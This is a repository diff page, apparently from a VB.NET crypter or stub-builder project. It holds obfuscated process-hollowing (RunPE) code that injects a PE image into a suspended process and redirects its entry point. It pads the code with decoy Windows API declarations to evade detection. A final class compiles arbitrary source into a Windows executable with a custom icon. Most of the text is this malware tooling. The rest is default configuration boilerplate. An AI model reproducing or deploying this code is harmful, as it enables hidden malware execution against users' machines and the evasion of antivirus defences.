|
||||
Dim WMRQEDO32E, HDF754 As Long, DF754 As UInteger
|
||||
FADASCC43FAS43.CSZE = Len(FADASCC43FAS43)
|
||||
TVM1OKF029.II69TOHMUR = 65539
|
||||
If BKIFNDE2PI.SSSSSSSSSSSQ <> 17744 Or VAGKWL2DMX.DASDASFASF <> 23117 Then Return
|
||||
If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return
|
||||
R84OY4NT36(FADAS43FAS43.RFSER, TVM1OKF029)
|
||||
Q7QRRP639W(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, WMRQEDO32E, 4, 0)
|
||||
EFVI2YI66B(FADAS43FAS43.DAS4QQW, WMRQEDO32E)
|
||||
Dim X6X0CHAYT3 As UInt32 = W6CTR6GLCC(FADAS43FAS43.DAS4QQW, BKIFNDE2PI.OOOU.DFAZDASD, BKIFNDE2PI.OOOU.DASRDASRASR, 12288, 4)
|
||||
If X6X0CHAYT3 <> 0 Then
|
||||
ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3, DAS4DA3, BKIFNDE2PI.OOOU.WQDASDASD, DF754)
|
||||
HDF754 = VAGKWL2DMX.DASE3ASDAS + 248
|
||||
For I As Integer = 0 To BKIFNDE2PI.DSEEEEE.DAAAAAAAA3 - 1
|
||||
ASFSVS = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + HDF754 + I * 40), ASFSVS.GetType)
|
||||
Dim FJGB2K6EL6(ASFSVS.DA22S3) As Byte
|
||||
For Y As Integer = 0 To ASFSVS.DA22S3 - 1 : FJGB2K6EL6(Y) = DAS4DA3(ASFSVS.PoinEEter + Y) : Next
|
||||
ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3 + ASFSVS.AL8ZCRFWNU, FJGB2K6EL6, ASFSVS.DA22S3, DF754)
|
||||
Next I
|
||||
Dim JQTOGZCAWU = BitConverter.GetBytes(X6X0CHAYT3)
|
||||
ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, JQTOGZCAWU, 4, DF754)
|
||||
TVM1OKF029.AS4 = X6X0CHAYT3 + BKIFNDE2PI.OOOU.DDDDDDDDAAA
|
||||
K7B3INYH01(FADAS43FAS43.RFSER, TVM1OKF029)
|
||||
WS2XVBNVO9(FADAS43FAS43.RFSER)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Declare Function LoadLibraryA Lib "kernel32" (ByVal tr6 As String) As IntPtr
|
||||
Declare Function GetProcAddress Lib "kernel32" (ByVal gdr54 As IntPtr, ByVal gfsd54 As String) As IntPtr
|
||||
Private Declare Function RpcNsProfileEltAdd Lib "rpcns4.dll" Alias "RpcNsProfileEltAddA" (ByVal ProfileNameSyntax As Long, ByVal ProfileName As String, ByRef IfId As IntPtr, ByVal MemberNameSyntax As Long, ByVal MemberName As String, ByVal Priority As Long, ByVal Annotation As String) As Long
|
||||
Private Declare Function ldap_close_extended_op Lib "wldap32.dll" (ByRef ld As IntPtr, ByVal MessageNumber As Long) As Long
|
||||
Private Declare Function lineSetAppSpecific Lib "tapi32.dll" (ByVal hCall As Long, ByVal dwAppSpecific As Long) As Long
|
||||
Private Declare Function MgmGetNextMfeStats Lib "rtm.dll" (ByRef pimmStart As IntPtr, ByRef pdwBufferSize As Long, ByVal pbBuffer As String, ByRef pdwNumEntries As Long) As Long
|
||||
Private Declare Function MprAdminDeviceEnum Lib "mprapi.dll" (ByRef hMprServer As IntPtr, ByVal dwLevel As Long, ByVal lplpbBuffer As String, ByRef lpdwTotalEntries As Long) As Long
|
||||
Private Declare Function MsiDatabaseImport Lib "MSI.dll" (ByRef hDatabase As IntPtr, ByVal szFolderPath As String, ByVal szFileName As String) As Long
|
||||
Private Declare Function NdrMesSimpleTypeAlignSize Lib "rpcrt4.dll" (ByVal handle_t As Long) As Long
|
||||
Private Declare Function NetMessageNameDel Lib "NETAPI32.dll" (ByVal servername As String, ByVal msgname As String) As Long
|
||||
Private Declare Function NetReplExportDirSetInfo Lib "NETAPI32.dll" (ByVal servername As String, ByVal dirname As String, ByVal level As Long, ByVal buf As String, ByRef parm_err As Long) As Long
|
||||
Private Declare Function NetUseGetInfo Lib "NETAPI32.dll" (ByRef UncServerName As IntPtr, ByRef UseName As IntPtr, ByVal level As Long, ByVal bufptr As String) As Long
|
||||
Private Declare Function QueueUserWorkItem Lib "kernel32.dll" (ByVal lFunction As Long, ByRef Context As Long, ByVal Flags As Long) As Long
|
||||
Private Declare Function ReadConsoleInput Lib "kernel32.dll" Alias "ReadConsoleInputA" (ByVal hConsoleInput As Long, ByRef lpBuffer As IntPtr, ByVal nLength As Long, ByRef lpNumberOfEventsRead As Long) As Long
|
||||
Private Declare Function ShowWindowAsync Lib "user32.dll" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
|
||||
Private Declare Function SnmpMgrCtl Lib "mgmtapi.dll" (ByRef session As IntPtr, ByVal dwCtlCode As Long, ByRef lpvInBuffer As Long, ByVal cbInBuffer As Long, ByRef lpvOUTBuffer As Long, ByVal cbOUTBuffer As Long, ByRef lpcbBytesReturned As Long) As Long
|
||||
Private Declare Function AddAuditAccessAceEx Lib "advapi32.dll" (ByVal pAcl As IntPtr, ByVal dwAceRevision As Long, ByVal AceFlags As Long, ByVal dwAccessMask As Long, ByRef pSid As IntPtr, ByVal bAuditSuccess As Long, ByVal bAuditFailure As Long) As Long
|
||||
Private Declare Function SQLInstallerError Lib "ODBCCP32.dll" (ByVal iError As Integer, ByRef pfErrorCode As Long, ByVal lpszErrorMsg As String, ByVal cbErrorMsgMax As Integer, ByRef pcbErrorMsg As Integer) As Long
|
||||
Private Declare Function SQLSetCursorName Lib "msorcl32.dll" (ByVal hstmt As Long, ByVal szCursor As String, ByVal cbCursor As Integer) As Long
|
||||
Private Declare Function RasSetCredentials Lib "rasapi32.dll" Alias "RasSetCredentialsA" (ByVal lpcstr As String, ByVal lpcstr As String, ByRef TLPRASCREDENTIALSA As IntPtr, ByVal bool As Long) As Long
|
||||
Private Declare Function ReadConsole Lib "kernel32.dll" Alias "ReadConsoleA" (ByVal hConsoleInput As Long, ByRef lpBuffer As Long, ByVal nNumberOfCharsToRead As Long, ByRef lpNumberOfCharsRead As Long, ByRef lpReserved As Long) As Long
|
||||
Private Declare Function ReadEncryptedFileRaw Lib "advapi32.dll" (ByRef pfExportCallback As IntPtr, ByRef pvCallbackContext As Long, ByRef pvContext As Long) As Long
|
||||
Private Declare Function ReadPrinter Lib "winspool.drv" (ByVal hPrinter As Long, ByRef pBuf As Long, ByVal cdBuf As Long, ByRef pNoBytesRead As Long) As Long
|
||||
Private Declare Function RegisterHotKey Lib "user32.dll" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long
|
||||
Private Declare Function ReleaseSemaphore Lib "kernel32.dll" (ByVal hSemaphore As Long, ByVal lReleaseCount As Long, ByRef lpPreviousCount As Long) As Long
|
||||
|
||||
Private Declare Function GetSiteNameFromSid Lib "advapi32.dll" (ByRef pSid As Long, ByVal pwsSite As String) As IntPtr
|
||||
Private Declare Function GetStringTypeEx Lib "kernel32.dll" Alias "GetStringTypeExA" (ByVal Locale As Long, ByVal dwInfoType As Long, ByVal lpSrcStr As String, ByVal cchSrc As Long, ByRef lpCharType As Integer) As Long
|
||||
Private Declare Function GetVolumePathName Lib "kernel32.dll" Alias "GetVolumePathNameA" (ByVal lpszFileName As String, ByVal lpszVolumePathName As String, ByVal cchBufferLength As Long) As Long
|
||||
Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
|
||||
Private Declare Function TlsSetValue Lib "kernel32.dll" (ByVal dwTlsIndex As Long, ByRef lpTlsValue As Long) As Long
|
||||
Private Declare Function ToAscii Lib "user32.dll" (ByVal uVirtKey As Long, ByVal uScanCode As Long, ByRef lpbKeyState As Byte, ByRef lpwTransKey As Long, ByVal fuState As Long) As IntPtr
|
||||
|
||||
Private Shared Function TXXY5U8D2U(Of T)(ByVal ASFASE3 As String, ByVal FASGAS543W As String) As T
|
||||
Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ASFASE3), FASGAS543W), GetType(T)), Object), T)
|
||||
End Function
|
||||
<StructLayout(0)> Structure Context
|
||||
Dim II69TOHMUR, d2, das, d9, ad, dsa, ds As UInt32, Save As Save
|
||||
Dim dh, sad, da, MD, RD, mSI, WDA, AD3, D21, AS4, K32, F2W, HHJ, ADF5, GSSA, DSAAA As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim er6rgdr65 As Byte()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Save
|
||||
Dim KD7JX2MXT, JCNS3ZPSXO, DAS3, DAS23, ADSA, DAF35, FA32D As UInteger
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim FSDRF43 As Byte()
|
||||
Dim FA32QA As UInt32
|
||||
End Structure
|
||||
Structure Misc
|
||||
Dim SDUHRL, GSIJ As UInt32
|
||||
End Structure
|
||||
Structure Section_Header
|
||||
Dim FSDPOU4PO3 As Byte, Mi2sc As Misc, AL8ZCRFWNU, DA22S3, PoinEEter, E2Q4RS, FS523QF, FSB43FSD4, QBFAS4E, AS32QFZS As UInt32
|
||||
End Structure
|
||||
Structure Process_Information
|
||||
Dim DAS4QQW, RFSER As IntPtr, TGJWE, SDFFFFFFFFFF As Integer
|
||||
End Structure
|
||||
<StructLayout(0, CharSet:=3)> Structure Startup_Information
|
||||
Dim CSZE As Integer, FSDR4G, AAAAAAAAAA, AADDDDDDD As String, ADA, C, AEDS, DASDDDD, XASE4, DAS3EDFZ, DVA3ES, CCCCQ As Integer
|
||||
Dim FDSRS, VYE5X As Short, KHJKIHJK, KHJKHJK, KHJKHJ, KHJKJHK As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Security_Flags
|
||||
Dim GFSETWE As Integer, EWEWWW As IntPtr, DASDAS As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure DOS_Header
|
||||
Dim DASDASFASF, QWEQWE, EQWEQWEQWE, HFGHFGHFGH, HFGHFGHFG, DASD444444, DASFASE33, DASKGHJ, DASVZDF, VXCVXC, VXCVXCV, EWECS, EWADC, UADA3 As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservWWWWWWWWWWWWWWWedA As UInt16()
|
||||
Dim DAS4E, UJJ As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim DDDDDDDDD As UInt16()
|
||||
Dim DASE3ASDAS As Int32
|
||||
End Structure
|
||||
Structure NT_Headers
|
||||
Dim SSSSSSSSSSSQ As UInt32, DSEEEEE As File_Header, [OOOU] As Optional_Headers
|
||||
End Structure
|
||||
<StructLayout(0)> Structure File_Header
|
||||
Dim ITTTTTTTT, DAAAAAAAA3 As UInt16, HRFTYTYTR, GJGFSFS, FSVGY As UInt32, FSFV, A34FFC As UInt16
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Optional_Headers
|
||||
Public WWWWWWWWW As UInt16, MaAAAAAAAAAAAjor, MiSSSSSSSSSSSnor As Byte, SSSSSSSSSSSSS, FFFFFFFFFFF, XXXXXXXX, DDDDDDDDAAA, FSSSSSSS, RSFS43, DFAZDASD As UInt32, SectionA, FileA As UInt32
|
||||
Public GDFTDFFFF, HGDFHD564, GD5ERGD, FSD5YHD, ASDASG, AS4ASAS As UInt16, CCC, DASRDASRASR, WQDASDASD, Assssssss As UInt32, fsd4s, fjio As UInt16
|
||||
Public dasrlajstpoi, dasdraskyjhuasp, SHRedas4wa9uqserve, fsdtsysyt, eawdasdas3, Cocccunt As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public GSDGSDT4 As Data_Directory()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Data_Directory
|
||||
Dim ewq34q234, das34aw33 As UInt32
|
||||
End Structure
|
||||
Delegate Function GN04L0ER8I(ByVal ASFASE3 As String, ByVal DASDAS3E2 As String, ByRef DASCASE As Security_Flags, ByRef CASE222 As Security_Flags, ByVal DAS432E As Boolean, ByVal AEDFKJK32 As UInt32, ByVal DSA43R3W As IntPtr, ByVal ase32ew As String, <[In]()> ByRef das43fsa As Startup_Information, <Out()> ByRef das3 As Process_Information) As Boolean
|
||||
Delegate Function ZGOQ8VM05M(ByVal DASE32 As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DSAE32 As Byte(), ByVal DASEADAS As Integer, <Out()> ByRef ASD43FA As Integer) As Boolean
|
||||
Delegate Function Q7QRRP639W(ByVal FASFDASDAS As IntPtr, ByVal AL8ZCRFWNU As Integer, ByRef CAS32 As Integer, ByVal ASDASC As Integer, ByRef CASTWE As Integer) As Integer
|
||||
Delegate Function W6CTR6GLCC(ByVal DASE43E As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DASCAS3 As UInt32, ByVal DAS3 As UInt32, ByVal DAS32 As UInt32) As IntPtr
|
||||
Delegate Function EFVI2YI66B(ByVal DASE3 As IntPtr, ByVal AL8ZCRFWNU As Integer) As Long
|
||||
Delegate Function WS2XVBNVO9(ByVal DASEAS As IntPtr) As UInt32
|
||||
Delegate Function R84OY4NT36(ByVal DASDASC As IntPtr, ByRef DSACSA43 As Context) As Boolean
|
||||
Delegate Function K7B3INYH01(ByVal ASDASCASDASD As IntPtr, ByRef ASCA434 As Context) As Boolean
|
||||
End Class
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
%101%
|
||||
%102%
|
||||
%103%
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
After Width: | Height: | Size: 3.7 KiB |
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<configuration>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup>
|
||||
<supportedRuntime version="v2.0.50727" sku="Client"/>
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -0,0 +1,40 @@
|
||||
Imports System.CodeDom.Compiler
|
||||
Public Class dwqeEQE3Q2
|
||||
Public Shared Sub edasr232222dF(ByVal ASDASD As String, ByVal AS432RE324 As String, ByVal AS432RE32433333333 As String)
|
||||
On Error Resume Next
|
||||
|
||||
Dim DQWEQ23DA As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
|
||||
Dim DQWEQ23DAAAAAAA As New CompilerParameters()
|
||||
Dim DQYTJTYHJTYJ As CompilerResults
|
||||
|
||||
DQWEQ23DAAAAAAA.GenerateExecutable = True
|
||||
DQWEQ23DAAAAAAA.OutputAssembly = ASDASD
|
||||
DQWEQ23DAAAAAAA.CompilerOptions = "/target:winexe"
|
||||
DQWEQ23DAAAAAAA.ReferencedAssemblies.Add("System.dll")
|
||||
DQWEQ23DAAAAAAA.ReferencedAssemblies.Add("System.Data.dll")
|
||||
DQWEQ23DAAAAAAA.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||||
|
||||
Dim FASFASFFF = New Dictionary(Of String, String)
|
||||
FASFASFFF.Add("CompilerVersion", "v2.0")
|
||||
|
||||
DQWEQ23DAAAAAAA.CompilerOptions = "/filealign:0x00000200 /optimize+ /platform:X86 /debug- /target:winexe"
|
||||
|
||||
Dim ADAS432RAS As String = IO.Path.GetTempPath & "\iCompiler.ico"
|
||||
|
||||
If AS432RE32433333333 <> "" Then
|
||||
IO.File.Copy(AS432RE32433333333, ADAS432RAS)
|
||||
DQWEQ23DAAAAAAA.CompilerOptions &= " /win32icon:" & ADAS432RAS
|
||||
End If
|
||||
|
||||
DQYTJTYHJTYJ = DQWEQ23DA.CompileAssemblyFromSource(DQWEQ23DAAAAAAA, AS432RE324)
|
||||
|
||||
If DQYTJTYHJTYJ.Errors.Count > 0 Then
|
||||
For Each CompilerError In DQYTJTYHJTYJ.Errors
|
||||
MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Next
|
||||
ElseIf DQYTJTYHJTYJ.Errors.Count = 0 Then
|
||||
|
||||
End If
|
||||
If AS432RE32433333333 <> "" Then : IO.File.Delete(ADAS432RAS) : End If
|
||||
End Sub
|
||||
End Class
|
||||
Reference in New Issue
Block a user